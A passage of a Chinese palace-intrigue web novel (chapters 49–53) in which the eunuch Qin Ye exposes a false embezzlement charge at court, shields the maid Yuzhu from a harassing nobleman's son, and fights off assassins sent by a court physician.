朝堂之上,文武百官分列两班。大殿金碧辉煌,龙柱盘旋,威严肃穆。 “吾皇万岁!”群臣高呼,声音整齐划一,在大殿内回荡。 上官瑾威严地开口:“平身。”她端坐在龙椅上,目光扫过群臣。 秋官寺卿卫秋出列奏事,朝服整齐,神色恭敬:“陛下,北境云州大将军一职空缺已久,为国计民生计,还请陛下尽快择一良将。” 司马辉站在人群中,面无表情地等待着。他的目光微微闪动,似乎在思索什么。 上官瑾沉吟片刻,手指轻轻敲击龙椅扶手。殿内一片寂静,所有人都在等待她的决定。 “传旨,即日起,司马无畏为云州大将军,即刻启程赴任。”上官瑾的声音清晰地传遍大殿每个角落。 此言一出,满朝哗然。文武百官交头接耳,窃窃私语。众人都知道,上官瑾一直不愿任命司马无畏为云州大将军。这突如其来的任命,让所有人都始料未及。 司马辉更是惊讶,想起昨日秦烨那番话,不由暗自点头。他上前拱手:“臣代犬子谢恩!” 武将班中,端木正的脸色却阴沉了下来。他的手指无意识地摩挲着腰间的佩剑,眼中闪过一丝寒光。 司马辉刚说完谢恩的话,端木正便迫不及待地站了出来。 “陛下,臣有要事启奏!”他的声音中带着几分急切。 上官瑾微微抬眼,目光落在端木正身上:“成国公请讲。” “臣要弹劾司礼总管秦烨!”端木正掷地有声地说道,声音在殿内回荡。 此言一出,殿内顿时一片哗然。群臣面面相觑,窃窃私语声此起彼伏。司马辉的脸色骤变,他下意识地看向上官瑾,却见后者面色如常。 “秦烨犯了何事?”上官瑾淡淡问道。 端木正冷笑一声,从袖中取出一叠账册:“陛下明鉴,这秦烨身为司礼总管,却与宫外商人勾结,大肆贪污御库钱财。他高价采购物资,中饱私囊,接受天价贿赂。这些账册,便是证据!” 他的话音刚落,群臣便纷纷附和起来。 “陛下,此事若属实,决不可轻饶!” “动用御库钱财,这他妈是要株连全家的狠罪!” “必须严惩此贼!” 端木正看着群情激愤的场面,嘴角勾起一抹得意的笑。然而就在此时,殿外突然传来一阵骚动。 “让开!都让开!” 所有人齐刷刷扭头,只见秦烨正拖着一具尸体缓步而来。他神色从容,步伐稳健,仿佛手中拖着的不是尸体,而是一件普通的物什。 “秦烨!你这是何意?”端木正厉声喝问,声音中带着几分慌乱。 秦烨置若罔闻,径直走到殿中央,将尸体往地上一扔。扑通一声,尸体砸在地上,激起一片灰尘。 “陛下,这是秦武德的尸体。”他的声音平静得出奇。 “秦武德?”上官瑾眉头微挑,目光在尸体和秦烨之间来回游移。 “正是。”秦烨微微一笑,“端木大人说我贪污御库,想必就是从这秦武德处得来的消息吧?” 端木正的脸色瞬间变得惨白。 秦烨继续道:“这秦武德是宫中采买总管,前几日被我查出贪污受贿,已经伏法。端木大人拿着他伪造的账册来弹劾我,怕是找错了证据。” “你……你胡说!”端木正急了,额头上渗出细密的汗珠。 “胡说?”秦烨冷笑,“那端木大人可知,你手中那些账册,字迹都是秦武德所写?而且上面的印章,也是他仿造的?” 上官瑾接过账册仔细查看,眉头渐渐皱起。她的手指轻轻抚过纸面,似乎在确认什么。 “成国公,”她抬起头,目光如刀般锐利,“这是怎么回事?” 端木正的双腿开始发软:“这……这……” “不知端木大人与秦武德,是何时勾结上的?”秦烨步步紧逼,“又是如何得知他伪造的这些账册?莫非,端木大人也参与其中?” “你血口喷人!”端木正怒吼,声音中带着明显的颤抖。 秦烨不紧不慢道:“陛下若不信,可命人查验秦武德的尸体。他胸前有一道剑伤,是他畏罪自尽时留下的。而在他的住处,还藏有大量赃物,以及与商人往来的书信。” 上官瑾挥手示意太医前去查验。殿内一片寂静,所有人的目光都集中在那具尸体上。片刻后,太医回禀,果然如秦烨所言。 端木正面如死灰,双腿再也支撑不住,重重地跪倒在地。他的额头抵在冰冷的地面上,浑身颤抖。 “端木正,”上官瑾的声音冷若冰霜,“你身为国公,不思报国,反倒与贪官勾结,意图陷害忠良。来人,将他押下去严加审问!” 禁军立刻上前,架起已经瘫软的端木正。他被拖出大殿时,目光怨毒地瞪着秦烨,却见后者嘴角挂着淡淡的笑意。 殿内群臣噤若寒蝉,再也没人敢说什么。方才还群情激愤的场面,此刻安静得连根针掉在地上都能听见。 上官瑾的目光在秦烨身上停留片刻,眼中闪过一丝赞许。这个男人,果然不简单。从他入宫以来,每一步都走得如此精准。 “退朝!” 随着上官瑾的一声令下,众臣鱼贯而出。只有秦烨依旧站在原地,望着那道远去的龙袍背影,嘴角的笑意更深了几分。 朝会散后,司马府内。 府中灯火通明,下人们来回穿梭,为即将上任的新任云州大将军准备行装。 “好儿子!”司马辉拍着司马无畏的肩膀,眼中闪烁着欣慰的光芒,“这次出任云州大将军,可要好好干。让那些蛮子见识见识我司马家的本事!” 司马无畏身着锦袍,腰间配着祖传的玉佩,整个人英气勃发。“父亲放心。”他胸有成竹地笑道,“儿子定不负所托。” “对了,”司马辉正色道,声音压低,“入宫之前,记得去拜会秦烨。” “孩儿明白。这次能当上将军,多亏了秦公公帮衬。孩儿正想去当面道谢。”司马无畏点头应道。 司马辉踱步到窗前,望着院中的梅花,若有所思:“此人不同寻常,你去见他时要准备些特别的礼物。他不贪财,你得好好琢磨。” “孩儿记下了。”司马无畏沉吟片刻,“听闻秦公公喜欢古玩,不如将祖父留下的那套汉代青铜器献上?” “这主意不错。”司马辉赞许地点头,“不过还要再想想其他的。” 与此同时,韩府之中。 庭院深处,一场父子对话正在进行。 “你这孩子,怎么就不肯用心学学官场规矩?”韩明远望着儿子韩峥,眉头紧锁。案几上的茶水已经凉了,他却浑然不觉。 第四十九章 雨竹被纠缠 韩峥歪在太师椅上,摇着折扇,满不在乎地道:“父亲何必操心?姐姐在宫里得宠,将来生下龙子,咱们不就是皇亲国戚了?” “混账!”韩明远气得胡子直翘,一拍桌案,茶盏震得跳了起来,“你姐姐是什么身份,你是什么身份?莫要胡来!待会进宫,把这封信交给你姐姐,切记不可生事。” “知道了知道了。”韩峥敷衍地应着,眼神却飘向了远处。 “还有,”韩明远盯着儿子的眼睛,一字一句道,“皇后身边的雨竹,你给我离远点!这哪是你能惹的。” “儿子明白。”韩峥嘴上答应,心里却在打着小算盘。 出了府门,春日的阳光洒在青石板上,韩峥心情大好。随从周满凑上前来:“少爷,咱们这是要去见雨竹姑娘?” “那是自然。”韩峥得意地摇着扇子,“周满,你说本少爷今日这身打扮如何?” “少爷风流倜傥,雨竹姑娘定会倾心。”周满连声奉承。 韩峥哈哈大笑,昂首阔步地往宫里走去。春风拂过他的衣袖,带着几分得意与张扬。 宫中,回廊曲折,红墙绿瓦间穿梭着宫女太监。韩峥刚进宫没多久,就看到了雨竹的身影。他赶紧整理衣冠,摆出自认为最帅气的姿势。 雨竹远远看到韩峥的身影,心中暗自叹了口气。她加快脚步,想要绕开这个让人生厌的浪荡公子,裙摆在青石板路上轻轻掠过,带起一阵细微的沙沙声。 可惜事与愿违,韩峥已经发现了她。 “雨竹姑娘!”韩峥快步追了上来,脸上挂着自以为潇洒的笑容,眼神中带着几分轻浮,“这大好的春日,姑娘为何走得如此匆忙?” 雨竹停下脚步,强忍着不适转过身。她的手指下意识地绞着衣角,面上却依旧保持着得体的微笑:“韩公子有事?” 春风拂过,带来阵阵花香,却驱散不了空气中若有若无的尴尬气息。 “我看姑娘走得匆忙,不如让我送你一程如何?”韩峥搓着手,脸上的笑容愈发谄媚,“正好我的马车就停在前面。” 秦烨远远望着这一幕,眼底闪过一丝玩味。他倚在廊柱上,手中把玩着一枚玉佩,冷眼旁观着这场闹剧。这个韩峥,还真是阴魂不散。 “不必了,我还有要事在身。”雨竹淡淡道,语气中带着明显的疏离。 韩峥却不依不饶,向前跨了一步:“什么要事这么着急?让我帮你吧!以我韩家在汴城的地位,定能为姑娘排忧解难。” 雨竹微微蹙眉,后退半步拉开距离:“是要去见秦公公,不劳韩公子费心。” “秦烨?那个太监?”韩峥的表情瞬间阴沉下来,眼中闪过一丝怒意,“你去见他做什么?” “这与韩公子无关吧。”雨竹冷冷道,语气中已经带上了几分不耐。 “怎么会无关?”韩峥咬牙切齿,面目因愤怒而扭曲,“你是我心仪之人,怎能与那种阉人来往?你可知道,那种人连……” “韩公子说笑了,我与你素无瓜葛。”雨竹打断他的话,转身就要离开。 韩峥一把抓住她的手腕,力道之大让雨竹忍不住皱眉:“你不能去见他!” “放手!”雨竹用力挣脱,白皙的手腕上已经留下了红痕。 “周满,拦住她!”韩峥对身边随从喝道,声音中带着不容置疑的命令。 秦烨见状,缓缓直起身子。他放下手中的玉佩,眼中闪过一丝寒意,大步走了过来。 “刘公子这是要做什么?”他淡淡开口,声音不疾不徐,却带着一股莫名的威压。 “秦烨!”韩峥恶狠狠地盯着他,“你这个太监,也配与雨竹来往?真是不知天高地厚!” 秦烨轻笑一声,眼底闪过一丝不屑:“我配不配,似乎不是你说了算。再说,雨竹姑娘愿意与谁来往,也轮不到你来指手画脚。” “你……”韩峥气得脸色铁青,指着秦烨的手都在颤抖,“我爹是民部主事韩明远,你最好识相点!” “哦?”秦烨挑了挑眉,语气中带着几分戏谑,“那又如何?” 韩峥被这轻蔑的态度激怒,额头上青筋暴起:“周满,给我教训这个不知天高地厚的太监!” 周满刚要动手,一道身影突然闪现。 “住手!” 司马无畏及时赶到,冷冷地看着韩峥。他身着锦袍,腰间佩剑,一身贵气尽显无疑。 “司马兄?”韩峥一愣,脸上的怒意瞬间消散了几分,“你怎么会在这?” “我来找秦公公有事。”司马无畏淡淡道,目光在韩峥脸上扫过,“韩峥,你最好别惹事。这里是皇城,不是你撒野的地方。” “司马兄,你竟然为了一个太监……”韩峥难以置信地看着司马无畏。 “闭嘴!”司马无畏厉声打断,眼中闪过一丝怒意,“秦公公是我朋友,你若敢动他,就是与我司马家为敌!” 韩峥脸色变了又变。他很清楚司马家的势力,那可是开国功臣,不是他们韩阳家能够得罪的。 “哼!”他狠狠瞪了秦烨一眼,“走着瞧!”说完,转身离去,背影中满是不甘。 看着韩峥灰溜溜离开的背影,秦烨微微一笑:“多谢司马兄相助。” “秦公公客气了。”司马无畏拱手,“这韩峥不过是个浪荡公子,公公不必将他放在心上。只是……”他顿了顿,“他姐姐是昭仪娘娘,恐怕不会就此罢休。” 雨竹走到秦烨身边,轻声道:“多亏秦公公及时赶到。”她的声音还带着些许颤抖,显然方才的冲突让她受了不小的惊吓。 秦烨看着她担忧的样子,心中一暖:“无妨,有我在,不会让人欺负你的。” 远处的角落里,韩峥躲在一根粗大的廊柱后,眼中闪烁着阴冷的光芒。 “少爷,现在怎么办?”周满小声问道,“那秦烨……” “哼!”韩峥冷笑一声,“一个太监而已,我倒要看看,他能嚣张到几时!就算有司马家撑腰又如何?” “少爷是想……” “去找我姐姐!”韩峥眼中精光一闪,“她可是宫里的昭仪,收拾一个太监还不是易如反掌?” 周满连连点头:“少爷高明!昭仪娘娘在宫里位高权重,那秦烨再厉害,还不是得乖乖听命?” “走!”韩峥冷笑着转身离去,“我倒要看看,等姐姐出手,他还能不能这么嚣张!” 秦烨并不知道韩峥的打算,此时正与司马无畏谈笑风生。 “秦公公武艺高强,其实不必怕那韩峥。”司马无畏笑道,“只是他那个姐姐……” “我自然不怕他。”秦烨摇头,“只是不想节外生枝罢了。至于昭仪娘娘……”他眼中闪过一丝深意,“也不必太过担心。” “公公说得是。”司马无畏深以为然,“那韩峥不过是仗着家世横行霸道,早晚会栽个大跟头。” 第五十章 韩玉仪赔礼 “时候不早了。”秦烨看了看天色,“雨竹,我送你回去吧。” “秦公公……”雨竹欲言又止,手指不安地绞着衣角。 “怎么了?” “那韩峥不会善罢甘休的。”雨竹担忧道,“他姐姐是昭仪娘娘,在宫里……” 秦烨轻笑:“不必担心,有我在,他掀不起什么风浪。” 雨竹点点头,心中却仍有些不安。她总觉得,这件事恐怕没那么简单。 就在这时,宫道上传来急促的脚步声。韩峥派出去的周满领着韩玉仪匆匆赶来。 “姐姐!分明就是那个阴险狡诈的阉人,他……”韩峥见到韩玉仪,立刻从阴暗的角落处跳了出来想要告状,声音中带着几分得意。 韩玉仪却是一眼就看到了秦烨,连忙露出端庄的笑容:“秦公公,近来可好?”她的声音温婉动听,举止优雅得体。 “托娘娘的福,”秦烨微微一笑,目光意味深长,“就是令弟似乎对我有些意见。” 韩玉仪闻言脸色一变。她太了解自己这个不成器的弟弟了,一定是又闯祸了。她的手指微微颤抖,显然在压抑着怒气。 “啪!” 清脆的耳光声在殿前回荡。韩峥捂着脸,不可置信地看着自己的姐姐:“你……你打我?”他的声音中带着震惊和愤怒。 “混账东西!”韩玉仪怒斥,声音中带着压抑的怒火,“你可知道秦公公是什么人?还不快给秦公公赔罪!” “我凭什么给一个太监赔罪!”韩峥梗着脖子,眼中闪过倔强。 “啪!” 又是一记响亮的耳光。韩峥的脸颊瞬间红肿起来,他彻底怒了,抬手就要打回去。 “放肆!” 秦烨一个箭步上前,挡在韩玉仪身前。他的声音不大,却带着不容置疑的威严:“敢对娘娘动手,你是想造反不成?” 韩峥被这气势震慑,连退数步。他环顾四周,发现司马无畏也是一脸冷意地看着他。殿前的侍卫们纷纷按住了刀柄,目光冰冷。 韩峥这才意识到自己闯了大祸,脸色瞬间变得惨白。他转身就跑,狼狈的背影很快消失在宫道尽头。 “秦公公,小弟无状,让您见笑了。”韩玉仪连忙赔礼,声音中带着歉意和担忧。 “娘娘言重了,”秦烨摆手,语气温和,“令弟年轻气盛,教训教训也好。” 韩玉仪暗暗松了口气。她很清楚,若是得罪了眼前这位司礼总管,自己在后宫的日子就不好过了。宫中的明枪暗箭,她已经见识得够多了。 “无畏兄要去见皇后娘娘吧?”秦烨转移话题,眼中闪过一丝精明,“不如我陪你一起去?” “那就有劳贤弟了。”司马无畏爽快应道。 “娘娘若是得空,不妨也一同前往?”秦烨转头看向韩玉仪。 “正有此意。”韩玉仪连忙应道,脸上重新露出端庄的笑容。 三人说笑着向皇后寝宫走去。宫道两旁的牡丹开得正艳,香气四溢。 长春宫内,秦烨轻声安慰着司马皇后,目光中带着几分温和。 “皇后娘娘大可不必过于自责,这事本就不在您。”他的声音轻缓,带着恰到好处的关切。 司马皇后眼角微红,手中绢帕微微攥紧:“若非我一时心软,也不至于让那些人钻了空子。” 一旁的司马无畏摇头叹息:“确实太过欠管教了。这些人仗着自己有几分功名,就敢在朝堂上如此放肆。” 秦烨看向司马无畏,对方眼中闪过一丝赞许。两人相视一笑,仿佛达成某种默契。 “说起来,今日早朝那一幕当真精彩。”司马无畏轻抚胡须,“端木正那老匹夫,也该尝尝被人当众羞辱的滋味。” 秦烨微微颔首,想起早朝时的情形。端木正跪地请罪的模样,至今历历在目。那张平日里趾高气扬的脸,此刻却不得不贴着冰冷的地面。 “无畏兄过奖了。”秦烨谦逊道,“不过是运气使然。” 司马皇后看着两人谈笑风生的模样,眼中闪过一丝欣慰。她轻声道:“时候不早了,我先回宫歇息。你们慢慢聊。” 待司马皇后离去,司马无畏的神色变得严肃起来:“秦公公,你可知道端木正背后站着谁?” 秦烨眸光一闪:“难道是……” “不错,正是太子一党。”司马无畏压低声音,“这次你让端木正出丑,恐怕已经被他们记恨上了。” 与此同时,御医署内。 端木正怒气冲冲地闯入,脸色阴沉得能滴出水来。他一把掀翻了门口的药架,瓷瓶碎裂的声音在走廊里回荡。 “赵马康!你这老匹夫给我滚出来!” 内室的门被推开,赵马康慢悠悠地走出来。他看着满地狼藉,眉头微皱:“成国公这是何必?” “何必?”端木正冷笑,“你给我的那些情报,害得老子在朝堂上出尽洋相!还要给那小太监道歉!” 赵马康不慌不忙地整理着袖口:“成国公,你不会真以为我给你那些消息是让你亲自上阵的吧?这种事情,随便找个小官试探不就完了?何必自己冒这个险?” 端木正一愣,随即更怒:“你这是在说我蠢?” “这可是你自己说的。”赵马康冷笑,“成国公,你我合作多年,我还不知道你的性子?就知道你定会按捺不住。” 端木正再也忍不住,一掌朝赵马康拍去。两人顿时扭打在一起,御医署内顿时一片狼藉。几个小太医吓得躲在角落,不敢作声。 另一边,承明殿前。 秦烨与司马无畏相谈甚欢,两人在军事谋略上颇有共鸣。司马无畏不时点头,眼中的赞赏之色愈发浓郁。 “李兄弟对兵法之道竟有如此见解,实在令人刮目相看。”司马无畏感叹道,“比那些朝中大员强多了。” 秦烨谦虚地笑了笑:“无畏兄过誉了,不过是平日里略有研究罢了。” “时候不早了,该告辞了。”司马无畏起身道,“改日咱们再找机会畅饮。” 就在这时,司马无畏从怀中取出一枚木质令牌,上面刻着一个“剑”字,光泽温润。 “这是……”秦烨有些疑惑地接过令牌。 “汴城第一大帮派玄铁会,听说过吗?”司马无畏意味深长地问。 秦烨摇头:“我一直在宫中,对这些江湖事并不了解。” “这令牌是玄铁会坐上宾的信物。”司马无畏解释道,“持此令牌可在玄铁会求助。玄铁会帮主赵马玄是我结拜兄弟,江湖武榜排名第三的高手。” 秦烨抚摸着令牌,心中思绪万千。这块看似普通的木牌,或许能在将来成为一张关键的底牌。 “多谢无畏兄信任。”他郑重道谢。 “贤弟不必客气。”司马无畏拍了拍他的肩,“日后若有用得着的地方,尽管去找赵马玄。"在下赵马玄,手中幽兰剑"这句话,江湖上无人不知。” “贤弟不必多虑。”司马无畏放下茶杯,眼中闪过一丝精光,“玄铁会那边,赵马玄定会为你效劳。这些年来,他一直都是可靠之人。” 第五十一章 下蛊失败 秦烨轻轻摇晃着茶杯,看着杯中茶叶沉浮。他能感受到司马无畏话语中的真诚,但江湖事远比茶水更难看透。 “多谢司马兄。”他放下茶杯,起身拱手。 司马无畏抬头望了望渐暗的天色,眉头微蹙:“天色不早,我得赶在宫禁之前离开。” “让我送无畏兄一程。” “不必如此。” “兄长远来是客,理应相送。”秦烨坚持道。 两人一路说笑,行至皇城大门外。夜风徐徐,带着几分凉意。远处的灯火在风中摇曳,如同点点星辰坠入人间。 “贤弟,就此别过。”司马无畏拱手,目光中带着几分不舍。 “保重。”秦烨目送着司马无畏远去的背影,直到那道身影消失在夜色中。 “公公,宫门即将关闭,请速速入内。”守门侍卫的提醒打断了他的思绪。 秦烨点头应下,转身返回了宫门内。 与此同时,御医署内。 赵马康抹去嘴角的血迹,目光阴冷地望着端木正离去的方向。烛光在他脸上投下诡异的阴影,衬得他的表情更加阴森可怖。 “院长。”一个黑衣药童从密室中无声走出,声音低沉。 “何事?”赵马康头也不回地问道。 “礼宾院那边……老六下蛊失败了。”药童的声音中带着一丝颤抖。 “什么?”赵马康猛地转身,脸色骤变,“怎会如此?” “有人为柔木氏公主解了蛊。老六重伤被困,直到现在才传出消息。” “是谁坏我好事?”赵马康的声音中带着刺骨的寒意。 “秦烨。” 赵马康眼中寒光闪烁,如同利刃出鞘:“又是这个秦烨!传令下去,不惜一切代价,杀了他!” “是。”黑衣药童领命而去,身影很快消失在黑暗中。 此时的秦烨还在宫道上缓步而行。月光洒在青石板上,将他的影子拉得很长。四周寂静无声,只有夜风吹过树梢的沙沙声。 突然,一片树叶无声飘落。秦烨眼神一凛,身形微动。下一刻,一支暗箭破空而来,直取他的咽喉。 秦烨身形一闪,暗箭擦着他的衣袖飞过。他冷笑一声,手中银针如流星般射出。 “嗖嗖嗖!” 几声闷哼传来,暗处倒下两个黑影。但更多的杀手从四面八方包围过来,月光下闪烁着冷兵器的寒光。 秦烨神色凝重。这些人的身手不凡,显然是经过专业训练的死士。能派出这样的杀手,对方的身份已经呼之欲出。 一个杀手持刀劈来,刀光如霜。秦烨侧身避过,同时手腕一抖,银针刺入对方穴道。那人连声音都未发出就软倒在地。 又有两人从背后偷袭,秦烨早有准备。他脚下一转,银针已然封住他们的穴位。这些人虽然身手不凡,但在他的银针之下仍是不堪一击。 “不知是哪位好心人这么惦记我?”秦烨把玩着手中的银针,针尖在月光下闪烁着微光,“连杀手都请来了,真是让我受宠若惊啊。” 剩下的黑衣人们依旧沉默,手中长刀微微扬起,刀尖直指秦烨。空气中的杀意更浓了几分。 “这么不近人情?”秦烨轻叹一声,语气中带着几分无奈,“连让我死个明白都不肯?” 回应他的是呼啸而至的刀光。 四柄长刀几乎同时斩向秦烨的要害,刀势凌厉,角度刁钻。一刀直取咽喉,一刀斩向心口,另外两刀则分别攻向他的左右两肋。这配合默契的一击,几乎没有留下任何躲避的空间。 秦烨眼中精光一闪,嘴角的笑意更深了。七星养气诀的威力,也该试试了。 “锵!” 刀锋劈在秦烨身上,发出金铁交鸣的清脆声响。然而预想中的血光并未出现,那些锋利的刀刃仿佛劈在了精钢上一般,只在他的皮肤上留下几道浅浅的白痕。 四名黑衣人面具下的眼神中闪过震惊,他们下意识地后退半步。 “这小子身上有古怪!”一个黑衣人低声喝道。 “一定是穿了软甲!”另一个黑衣人咬牙说道。 他们正要再度出手,秦烨却已经动了。 他的身形如鬼魅般闪过,快得几乎留下残影。转瞬之间,他已经出现在两名黑衣人身后,一把抓住他们的手腕。 “咔嚓!” 骨骼碎裂的声音令人牙酸。两名黑衣人还未来得及发出惨叫,就被秦烨如同破布般甩了出去。 两柄长刀坠地,发出清脆的响声。而那两名黑衣人的身体,正好撞向另外两名同伴正在下劈的刀锋。 剩下的黑衣人来不及收回刀势,直接劈在了同伴身上。鲜血飞溅,染红了月光下的青石地面。 “自相残杀?这可不太好。”秦烨摇头晃脑地说道,语气中带着几分戏谑。 角落里,一个黑衣药童目睹这一切,瞳孔急剧收缩。这个太监的实力,远远超出了他的预料。那诡异的防御能力,还有那恐怖的力量,都不是普通人能够拥有的。 剩下的两名黑衣人显然也意识到对手不好对付。他们迅速调整站位,配合更加默契地展开新一轮进攻。刀光如织,将秦烨笼罩在密不透风的刀网之中。 然而秦烨却毫不躲闪。 有七星养气诀护体,这些普通的刀剑根本伤不到他。他径直冲向两名黑衣人,任由长刀劈在身上,双拳如雷霆般轰出。 “砰!” 两声沉闷的响声几乎同时响起。 黑衣人的胸口瞬间凹陷,整个人如同断线的风筝般倒飞出去,重重撞在宫墙上。鲜血从他们口中涌出,面具下传来痛苦的呻吟声。 秦烨拍了拍手,弯腰捡起一柄长刀,在月光下仔细端详起来。刀身上还残留着温热的血迹,散发着淡淡的腥气。 就在这时,角落里传来一声轻微的响动。 枯叶被踩碎的声音在寂静的夜色中格外清晰。 “啧啧,看来还有漏网之鱼。”秦烨提着长刀,悠然向声音传来的方向走去。月光下,他的身影拖得很长,仿佛一个索命的阎罗。 黑衣药童暗叫不妙,冷汗顺着面具的边缘滑落。他急忙掏出白帕和短刀,准备做最后的挣扎。白帕中装着剧毒的毒粉,是他最后的保命手段。 就在秦烨靠近的瞬间,黑衣药童猛地从阴影中跃出。白帕中的毒粉如烟雾般扑面而来,在月光下泛着诡异的青光。 秦烨早有防备,身形一晃,轻松避开毒粉的笼罩范围。他能闻到空气中那若有若无的苦杏仁味,显然这毒粉的威力不容小觑。 黑衣药童见毒粉未能奏效,立刻变招。短刀直取秦烨咽喉,刀势迅捷,角度刁钻。 然而这一击却被长刀轻易挡住。 “身手不错,比那几个强多了。”秦烨笑道,语气中带着几分赞赏。 黑衣药童心知不敌,立刻改变策略。他纵身跃上宫墙,想要借着夜色掩护逃走。 “想跑?” 秦烨手中长刀脱手而出,破空飞向墙头。刀身在月光下划出一道银色的弧线,势大力沉,不可阻挡。 第五十二章 陛下在关心我 黑衣药童慌忙掷出短刀想要格挡,手中长刀猛然劈下,来势凶猛,一招便将那柄短刀震开。金属相撞的清脆声响在夜空中回荡。 没了武器的他,只能伸手去接这势不可挡的一刀。这一夜的月光格外明亮,将他惊恐的表情照得清清晴晴。他知道,自己的命运已经注定。 长刀势如破竹,轻易穿透了他的胸膛。鲜血如泉涌般喷洒而出,在月光下化作一片血雾。黑衣药童的身体重重摔落在地。 秦烨走近,蹲下身子查看。这时,黑衣药童突然睁开眼虚空一挥,一道白色的粉末顺势朝秦烨脸上洒了过来,秦烨连忙转头躲避。等他再转回头时,发现对方已经消失不见了。 “年纪轻轻,就走上这条路,也是可惜了。”秦烨轻叹一声。 夜风吹过,卷起几片血染的落叶。秦烨站起身,环视四周。地上横七竖八躺着四具尸体,鲜血将青石地面染成暗红色。这一场突如其来的夜袭,就这样结束了。 夜色渐深,月光如水般洒落在宫墙下的青石板上,将秦烨的身影拉得很长。他握着那块染血的手帕,缓步前行,脚步声在寂静的夜里格外清晰。 刚才那一场遭遇战来得突然,结束得也快。那药童的身手不错,但在他面前依旧不够看。秦烨抬手擦了擦额角的冷汗,眼神中闪过一丝警惕。 “端木正这是坐不住了啊。”他轻声自语,声音里带着几分疲惫。 夜风吹过,带来一阵凉意。秦烨下意识地裹紧了衣衫,目光不由自主地投向承明殿的方向。宫灯依旧明亮,显然女帝还未就寝。他加快了脚步,虽然这次的刺杀已经化解,但背后的阴谋却不得不防。 推开殿门时,温暖的烛光扑面而来。上官瑾正在批阅奏折,烛火映照下的侧脸显得格外柔和。听到脚步声,她头也不抬地继续批阅着手中的奏章。 “今天可真够折腾的。”秦烨伸了个懒腰,故作轻松地打了个哈欠。 上官瑾这才抬起头来,凤眸中带着几分审视:“今天发生什么事了?” 话音未落,她的目光突然凝固在秦烨身上。那件青色长衫上,几道明显的刀痕触目惊心,衣料边缘还沾着些许未干的血迹。 “你受伤了?”上官瑾猛地站起身,御案上的朱笔滚落在地,发出清脆的声响。她快步走到秦烨面前,那双平日里威严的凤眸中此刻满是担忧。 秦烨心头一暖:“陛下这是在关心我?” “少贫嘴!”上官瑾瞪了他一眼,仔细检查着他的伤势,“到底怎么回事?” “回宫路上遇到几个刺客,不过都解决了。”秦烨轻描淡写道,但说话时微微皱起的眉头还是暴露了他的疲惫。 上官瑾上下打量着他,确认血迹不是他的之后,才稍稍放心。她转身唤来宫女,吩咐准备热水和伤药。 “以后要多加小心。”她回到御座,继续批阅奏折,“可知道是什么人?” 秦烨摇头:“具体不清楚,但想来是那些人按捺不住了。” “那你打算如何?”上官瑾放下朱笔,认真地看着他。 “陛下,我需要一处宫外的院子。”秦烨正色道,“宫里虽然安全,但行动多有不便。” 上官瑾略一思索就答应了:“好,朕让人安排。不过……”她顿了顿,“你要答应朕,一定要小心。” “多谢陛下。”秦烨笑道,“不过看陛下这么关心我,是不是该给点奖励?” 上官瑾俏脸一红:“你这奴才,又没大没小了。” “陛下不是最喜欢我这样吗?”秦烨笑得更欢。 上官瑾轻哼一声,唤来了沈化林,吩咐他以后多加保护秦烨。沈化林躬身应是,然后又隐身于黑暗之中。 与此同时,御医署内。 赵马康正在熬药,突然听到外间传来一阵急促的脚步声。药童踉跄着闯了进来,脸色苍白如纸。 “怎么回事?”他脸色一沉,放下手中的药碗。 药童捂着胸口,气息微弱:“那太监……有武功,很厉害……” 赵马康眉头紧锁:“没被跟踪吧?” “属下绕了大圈才回来。”药童说着,又咳出一口鲜血。 “我给你看看伤。”赵马康走上前,伸手就要为药童把脉。 就在这时,变故陡生! 插在药童手心的三枚银针突然迸射而出,瞬间洞穿了他的胸膛。血雾四溅中,银针去势不减,直奔赵马康而来。 赵马康脸色大变,但已来不及运功抵挡。三枚银针势如闪电,瞬间击中他的要害。他连退数步,才勉强稳住身形,但已是面如土色。 这一刻,赵马康终于意识到,自己似乎小看了这个叫秦烨的太监。不仅医术高明,武功更是深不可测。最可怕的是,此人心思缜密,竟在银针上留了这么一手。 “这个该死的秦烨。”赵马康即一口鲜血喷出,重重地倒在了地上。 御医署外,夜色愈发深沉。远处传来更夫打更的声音,回荡在寂静的宫墙之间。一个黑影悄无声息地掠过屋脊,消失在夜色中。 第二天一早,御医署发生命案的消息就传遍了整个皇宫。 秦烨站在殿外的回廊上,看着远处来来往往的宫人,若有所思。 “秦公公。”一个太监快步走来,“陛下宣您觐见。” 秦烨整了整衣衫,跟着太监往承明殿走去。路上,他注意到暗处多了不少眼睛,显然各方势力都在关注这件事。 承明殿内,上官瑾正在听取沈化林的汇报。 “御医署死了两个人,一个是赵太医,一个是他的药童。”沈化林低声道,“现场发现了三枚银针,是江湖中常见的暗器。” 上官瑾看向秦烨:“你怎么看?” 秦烨躬身道:“回陛下,这事怕是没那么简单。赵太医虽然医术平平,但在御医署中资历颇深,与端木正也有些渊源。” “你是说……”上官瑾若有所思。 “陛下明鉴。”秦烨没有多说,但意思已经很明显。 上官瑾沉吟片刻:“此事交由西署彻查,不得打草惊蛇。” “卑职遵旨。”沈化林应声退下。 殿内一时安静下来,只剩下檀香袅袅。秦烨站在殿中,感受到上官瑾投来的目光。 “你昨晚说要的院子,朕已经让人准备好了。”上官瑾开口打破沉默,“就在城南,靠近江边,环境清幽,回头让沈化林陪你去。” 秦烨微微一笑:“多谢陛下。” “你……”上官瑾欲言又止,最后只是轻叹一声,“去吧。” 韩府后院,一道人影快步而行,脚步声急促而凌乱。正是韩峥带着随从周满匆匆归来。 “少爷,您走慢些。”周满气喘吁吁地跟在后面,额头上渗出细密的汗珠。 韩峥充耳不闻,脸色阴沉得能滴出水来。今日在雨竹面前丢了这么大的脸,还被那个小太监秦烨羞辱,连自己的姐姐韩玉仪都不帮自己说话。这口气,他如何咽得下去? 月光透过庭院中的梧桐树洒下斑驳的影子,映在韩峥扭曲的面容上。他的手指深深掐进掌心,指甲在皮肉上留下深深的痕迹。 第五十三章 负荆请罪 “父亲一定会为我做主!”韩峥咬牙切齿,声音里充满怨毒。 姐姐让他面壁思过一个月的话早被抛到九霄云外,现在他脑子里只有一个念头——找父亲告状,让父亲收拾那个不知天高地厚的秦烨。 来到后院书房外,几个仆人连忙上前阻拦。烛光从房内透出,在地上投下摇曳的影子。 “少爷且慢,老爷正在和贵客议事,吩咐过谁都不能打扰。”一个年迈的仆人弯着腰,小心翼翼地说道。 “滚开!”韩峥一脚踹开挡在面前的仆人,那仆人踉跄着摔倒在地,发出一声闷哼。 砰的一声巨响,书房的门被粗暴推开,门框剧烈震动,差点脱离门轴。 屋内,韩明远正与司马辉、秦竹远谈事。三人闻声望去,见是韩峥如此无礼闯入,脸色顿时都变了。烛光下,几人的表情显得格外严肃。 